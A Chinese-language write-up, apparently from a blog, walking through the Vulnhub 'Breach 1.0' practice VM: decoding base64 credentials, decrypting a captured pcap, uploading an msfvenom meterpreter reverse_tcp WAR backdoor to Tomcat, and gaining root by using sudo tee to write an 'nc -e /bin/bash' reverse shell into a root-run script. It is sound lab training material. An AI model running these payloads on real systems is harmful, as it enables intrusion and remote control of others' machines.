zoukankan      html  css  js  c++  java
  • Vulnhub实战靶场:Breach 1.0

    一、环境搭建

    1、官网下载链接:https://www.vulnhub.com/entry/breach-1,152/

    2、下载下载之后,使用Oracle VM VirtualBox,导入环境

    3、启动虚拟机,因为靶场虚机配置有静态IP地址(192.168110 140),需要将虚拟机网卡设置为host-only仅主机的方式。为了方便练习,我将kali攻击机,添加了一块虚拟网卡,第二块网卡设置的网段跟虚拟机同一网段。

    kali虚拟机网络

    二、攻略步骤

    1、因为知道了靶场环境的ip地址,所以可以直接使用nmap扫描端口,查询突破口,但是扫描之后发现端口全是打开的,显然是做了防端口扫描

    2、根据靶场规律,直接访问ip地址,发现有http服务

    3、查看首页源码,发现有一串Base64加密的字符串

    base64编码后的字符串的长度一定会被4整除,包括用作后缀的等号吧;如果明文字符数不能被3整除,余1时,1个字符转为2个,补2个等号,共4个字符;余2时,2个字符转为3个字符,补1个等号,共4个字符;其实归根结底就是一句话:经过base64编码后的字符串长度一定会被4整除(包括后缀等号)
    1)标准base64只有64个字符(英文大小写、数字和+、/)以及用作后缀等号;
    2)base64是把3个字节变成4个可打印字符,所以base64编码后的字符串一定能被4整除(不算用作后缀的等号);
    3)等号一定用作后缀,且数目一定是0个、1个或2个。这是因为如果原文长度不能被3整除,base64要在后面添加凑齐3n位。为了正确还原,添加了几个就加上几个等号。显然添加等号的数目只能是0、1或2;
    4)严格来说base64不能算是一种加密,只能说是编码转换。使用base64的初衷。是为了方便把含有不可见字符串的信息用可见字符串表示出来,以便复制粘贴;

    4、使用命令 echo Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo | base64 -d,解密

     

    解密之后,还是一串base64的字符,再次解密,得到一串明文字符:pgibbons:damnitfeel$goodtobeagang$ta,暂时不知道作用,记下来

    5、源码里有个地址,点开访问,发现另外的页面

     

    6、打开Employee portal,进入到impresscms的登录界面

     

    7、使用之前base64节解密出来的账号密码登录成功

    8、使用命令,searchsploit impresscms,找到impresscms的/modules/profile/admin/field.php文件存在SQL注入漏洞,想要利用,但是发现没有权限访问该文件

     

    9、看到有3个邮件消息,看是否有提示信息

    第1封邮件,主要内容:让你的团队只能向管理门户发布任何敏感的内容。我的密码非常安全,发自ImpressCMS Admin Bill,如下:

    image.png

    第2封邮件,主要内容:Michael采购了IDS/IPS。

    image.png

    第3封邮件,主要内容:有一个peter的SSL证书被保存在192.168.110.140/.keystore

    image.png

    10、根据邮件提示,到下载包含SSL证书的密钥库keystore文件,keystore是存储公私密钥的一种文件格式,下载下来保存好

     

    11、在左侧菜单一个个点开,发现目录列表,但是找不到可以利用的文件

    12、点击View Account菜单进入界面,再依次点击页面的Content,会弹出一行链接Content SSL implementation test capture,点击链接,如下图:

    image.png

     13、点开提示的,http://192.168.110.140/impresscms/modules/content/content.php?content_id=1,发现一个流量包文件,下载下来

     

    14、该页面有重要的提示信息:这个pCAP文件是有红色团队的重新攻击产生的,但是不能读取文件。而且They told me the alias, storepassword and keypassword are all set to 'tomcat'别名、Keystore密码、key密码都设置成tomcat。由此推测:1)这是一个流量包文件,不能读取很可能因为某些流量有SSL加密(前面的邮件中提供了一个keystore,这里提供了密码;2)系统中可能存在tomcat。

    15、接下来要使用keytool生成ssl加密证书

    在下载了keystore文件的目录中打开终端,输入命令:keytool -list -keystore keystore,输入口令tomcat,查看keystore密钥库中的证书

    接下来,从密钥库导出.p12证书,将keystore拷贝到keytool目录,导出名为:tomcatkeystore.p12的证书,输入命令:keytool -importkeystore -srckeystore keystore  -destkeystore tomcatkeystore.p12 -deststoretype PKCS12 -srcalias tomcat

     

    16、将生成的tomcatkeystore.p12证书,导入wireshark

    1)使用wireshark打开下载的_SSL_test_phase1.pcap文件

    2)点击编辑--首选项--Protocols--TLS,点击Edit编辑,IPaddress填写192.168.110.140,Port填写8443,Protocol填写http,Key File选择生成的tomcatkeystore.p12文件,Password填写tomcat

    3)编辑好之后,看到下边TlsV1.2加密的部分,发现有疑似图片马,命令执行的数据包

    17、分析浏览量数据包,发现一个Unauthorized的认证包,该request和response包含了Tomcat后台的登录地址:https://192.168.110.140:8443/_M@nag3Me/html

    发现包含登录用户名密码的数据包, 采用http basic认证,认证数据包为:Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC,展开,看到明文的账号密码,用户名:tomcat,密码:Tt5D8F(#!*u=G)4m7zB

    18、利用获取到的信息来getshell,首先登录tomcat后台

    1)访问https://192.168.110.140:8443/_M@nag3Me/html,发现提示建立连接失败

     2)打开Burpsuite,使用BP进行代理,将BP的代理模式关闭,让数据包自动放行,再次访问,出现的界面就不相同了,选择接受风险,出现tomcat登录窗口,输入之前得到的账号密码,登录成功

     

     19、使用msfvenom生成后门文件,输入命令:msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.110.122 LPORT=1234 -f jsp -o shell.jsp

    将shell.jsp进行压缩,输入命令:zip -r shell.zip shell.jsp

     

    将shell.zip转化成war格式,用来上传到tomcat,输入命令:cp shell.zip shell.war

     

    20、启动msfconsole,设置监听

    输入命令: use exploit/multi/handler,进入监听要利用的exp

    输入命令:set payload linux/x64/meterpreter/reverse_tcp,设置执行生成脚本使用的payload

    输入命令:set lhost,设置生成后门时候设置的ip地址

    输入命令:set lport,设置生成后门时候设置的监听端口

    输入命令:run,开始监听

    21、在tomcat管理界面,将生成是shell.war后门上传

    上传之后,点击上传的源码,访问到生成的后门文件路径

    访问https://192.168.110.140:8443/shell/shell.jsp,在msf下顺利拿到shell

     

     

    22、执行命令,python -c 'import pty;pty.spawn("/bin/sh")' 得到一个交互式的shell

    23、开始收集靶机内信息,想办法提权,看到两个值得关注的账户

    在/var/www/5446目录下,看到两个文件名很特殊的文件

     

    查看文件,发现是mysql的数据库连接文件,使用的root账户,不需要密码

    24、输入命令,mysql  -u root -p ,进入mysql,提示输入密码,直接回车,成功连接进入mysql数据库,查看账号密码,得到milton账户的密码哈希,解密为:thelaststraw

     

    25、退出mysql,使用命令,su milton,输入密码,成功登录milton账户

    26、账户milton目录下,发现的some_script.sh脚本,没有可利用的地方

    26、查看系统内核,uname -a,得知内核版本为Linux Breach 4.2.0-27-generic 

    查看历史命令,发现有切换到blumbergh这个账户的操作,操作之后有切换到root的操作,所以可能提权要进入到blumbergh这个账户

    27、继续收集信息,http://192.168.110.140/images/,目录下找到6张图片,milton用户目录下,发现1张图片

    28、使用exiftool工具,查看图片,输入命令:exiftool bill.png ,发现密码:coffeestains

    29、切换到blumbergh账户,输入之前图片中得到的密码,切换成功

    进入blumbergh目录下,查看blumbergh账户的历史命令,发现/usr/share/cleanup目录下的,tidyup.sh脚本文件

     

     一样进入目录,查看脚本,为root账户才能读写的,用来清理删除webapps目录下的文件的脚本

    30、输入命令:sudo -l,查看能够root权限执行的命令有tee

    31、进行最后一步的提权

    tidyup.sh文件只有root可写,而能够以root权限运行tee命令,那么用tee命令写tidyup.sh:先将反弹shell命令写入shell.txt文件,使用bash反弹shell命令没有成功,于是使用nc命令反弹shell成功,所以写nc反弹命令:

    cd /home/blumbergh,切换到blumbergh的家目录中,

    echo "nc -e /bin/bash 192.168.110.122 2345" > shell.txt,将nc执行的反弹shell命令,写入到shell.txt文件

    cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh,使用tee命令将shell.txt内容输出到tidyup.sh

    查看tidyup.sh文件写入成功:

    32、kali攻击机中,输入命令:nc -lvvp 2345,监听2345端口的动静,等到一段时间,成功接到root的shell

    33、查看/root目录下,有个flair.jpg的文件,应该是最后的flag,将文件再次复制到/var/www/html/images中,查看图片,成功得到flag

     完

  • 相关阅读:
    Eclipse 导入项目乱码问题(中文乱码)
    sql中视图视图的作用
    Java基础-super关键字与this关键字
    Android LayoutInflater.inflate(int resource, ViewGroup root, boolean attachToRoot)的参数理解
    Android View和ViewGroup
    工厂方法模式(java 设计模式)
    设计模式(java) 单例模式 单例类
    eclipse乱码解决方法
    No resource found that matches the given name 'Theme.AppCompat.Light 的完美解决方案
    【转】使用 Eclipse 调试 Java 程序的 10 个技巧
  • 原文地址:https://www.cnblogs.com/sym945/p/13604758.html
Copyright © 2011-2022 走看看